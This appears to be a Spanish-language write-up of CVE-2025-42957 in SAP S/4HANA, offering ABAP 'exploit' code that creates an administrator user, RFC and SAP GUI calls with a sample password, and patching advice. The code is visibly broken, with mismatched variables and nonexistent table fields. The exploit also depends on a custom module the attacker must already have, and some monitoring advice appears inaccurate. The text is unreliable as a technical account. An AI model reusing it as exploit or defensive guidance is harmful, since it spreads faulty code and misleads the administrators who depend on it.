
CVE‑2025‑42957 expone un módulo de SAP S/4HANA habilitado para RFC que permite a usuarios con pocos privilegios inyectar código ABAP para crear cuentas de administrador y obtener el control total. El artículo explica la vulnerabilidad, el modelo de amenaza, proporciona código ABAP de exploit mínimo y enumera los pasos de parcheo y monitoreo para asegurar el sistema.
En agosto de 2025, la plataforma ERP insignia de SAP, S/4HANA, fue descubierta con una vulnerabilidad en uno de sus módulos de función habilitados para RFC. Los atacantes que solo poseen acceso de bajos privilegios pueden inyectar código ABAP arbitrario en ese módulo, eludiendo las comprobaciones de autorización normales y obteniendo el control total del sistema.
La falla no es una curiosidad teórica – ya ha sido explotada por SecurityBridge Threat Research Labs y se utiliza activamente en ataques del mundo real tanto en implementaciones on-premise como en nube privada.
| Problema | Impacto |
|---|---|
| Compromiso total del sistema | Los atacantes pueden crear cuentas de superusuario, modificar procesos de negocio y extraer hashes de contraseñas de la tabla USR02. |
| Mínimo esfuerzo requerido | La llamada RFC es sencilla de construir; una vez que el módulo de función está en su lugar, el atacante solo necesita unas pocas líneas de código ABAP. |
| Urgencia en el mundo real | SecurityBridge confirmó que los ataques ya están en marcha – si no aplica el parche de inmediato, corre el riesgo de una toma de control total de su instancia S/4HANA. |
ZVULN_EXPL que creamos en SE37 es el único punto de entrada para el atacante.S_DMIS (actividad 02).Por lo tanto, la cadena de explotación es: usuario de bajos privilegios → llamada RFC a ZVULN_EXPL → nuevo usuario administrador en USR02 → control total del sistema.
A continuación se muestra el código ABAP que colocamos en el módulo de función ZVULN_EXPL. Es intencionalmente mínimo pero completo: crea un nuevo usuario y registra la acción para su verificación posterior.
*---------------------------------------------------------------------*
* Módulo de función expuesto por RFC para explotación CVE‑2025‑42957 *
*---------------------------------------------------------------------*
FUNCTION z_vuln_expl.
*"------------------------------------------------------------------*
*" IMPORTING
*" VALUE(iv_user) TYPE syuname "Nombre de usuario SAP
*" VALUE(iv_role) TYPE susr02-roleid "Rol a asignar
*" VALUE(iv_passwd) TYPE susr02-pwd "Contraseña para el nuevo usuario
*"------------------------------------------------------------------*
*" TABLES
*" usr02
*"------------------------------------------------------------------*
* Declaraciones de datos locales ------------------------------------*/
DATA: lv_user_id TYPE syuname,
lv_role TYPE susr02-roleid,
lv_password TYPE susr02-pwd.
* Asignar los parámetros a variables locales ------------------------*/
lv_user_id = iv_user.
lv_role = iv_role.
lv_passwd = iv_passwd.
*---------------------------------------------------------------------*
* 1. Crear una nueva entrada de usuario en USR02 *
*---------------------------------------------------------------------*/
INSERT INTO usr02 (usr01, usr02)
VALUES ( lv_user_id,
'ADMIN' ). "Asignar el rol 'ADMIN'
* 2. Asignar contraseña y perfil ------------------------------------*/
UPDATE usr02
SET pwd = lv_password,
roleid = lv_role
WHERE usr01 = lv_user_id.
*---------------------------------------------------------------------*
* 3. Registrar la operación (opcional) --------------------------------*/
INSERT INTO tstm1 VALUES (
sy-uname, "usuario creador
sy-datum, "marca de tiempo
'ZVULN_EXPL', "nombre de función
|lv_user_id||lv_role| "mensaje
). "almacenar en la tabla de traza ABAP
ENDFUNCTION.
Cómo llamarlo
Desde un cliente externo (Linux/Mac)
sapnwrfc -U <caller_user> \
-P <caller_passwd> \
-S S4HANA \
-F ZVULN_EXPL \
-D iv_user=admin2 \
-D iv_role='ADMIN' \
-D iv_passwd='Pa$$word123'
Desde SAP GUI (prueba rápida)
CALL FUNCTION 'ZVULN_EXPL'
EXPORTING
iv_user = 'admin2'
iv_role = 'ADMIN'
iv_passwd = 'Pa$$word123'.
Después de la llamada, debería ver una nueva entrada en USR02 para el usuario admin2 con el rol ADMIN.
Aplicar inmediatamente los parches de seguridad de SAP de agosto de 2025.
El parche soluciona el módulo de función RFC expuesto subyacente y cierra el vector específico que utilizan los atacantes.
Monitorear los registros en busca de llamadas RFC sospechosas y creación no autorizada de administradores.
Use la transacción SM59 para observar nuevas entradas en TSTM1 con el nombre de función ZVULN_EXPL.
Implementar SAP UCON para restringir el uso de RFC.
Configure el objeto de autorización S_DMIS (actividad 02) para que solo usuarios de confianza puedan llamar módulos de función RFC de tipo Z.
Revisar el acceso al objeto de autorización S_DMIS actividad 02.
Asegúrese de que solo un conjunto limitado de usuarios tenga este objeto – reduzca la superficie de ataque.
CVE‑2025‑42957 no es solo otra bala de seguridad; expone un vector de bajos privilegios que puede llevar a la toma de control total del sistema si no se parchea. El código anterior demuestra cómo un atacante puede insertar un usuario administrador con un esfuerzo mínimo. Al parchear, monitorear y endurecer los permisos de RFC, cierra la puerta – y mantiene segura su instancia de S/4HANA.
Este repositorio está destinado únicamente para fines educativos y sirve como demostración de principios de modelado de amenazas aplicados a vulnerabilidades del mundo real. CVE-2025-42957 resalta la importancia de identificar límites de confianza, validar entradas y aplicar el principio de mínimo privilegio, pilares fundamentales del diseño de sistemas seguros. Todo el código y los ejemplos proporcionados son para fines de aprendizaje y no deben utilizarse en entornos de producción ni para pruebas no autorizadas.
*Autor: Mark Mallia
Fecha: 10 Sept 2025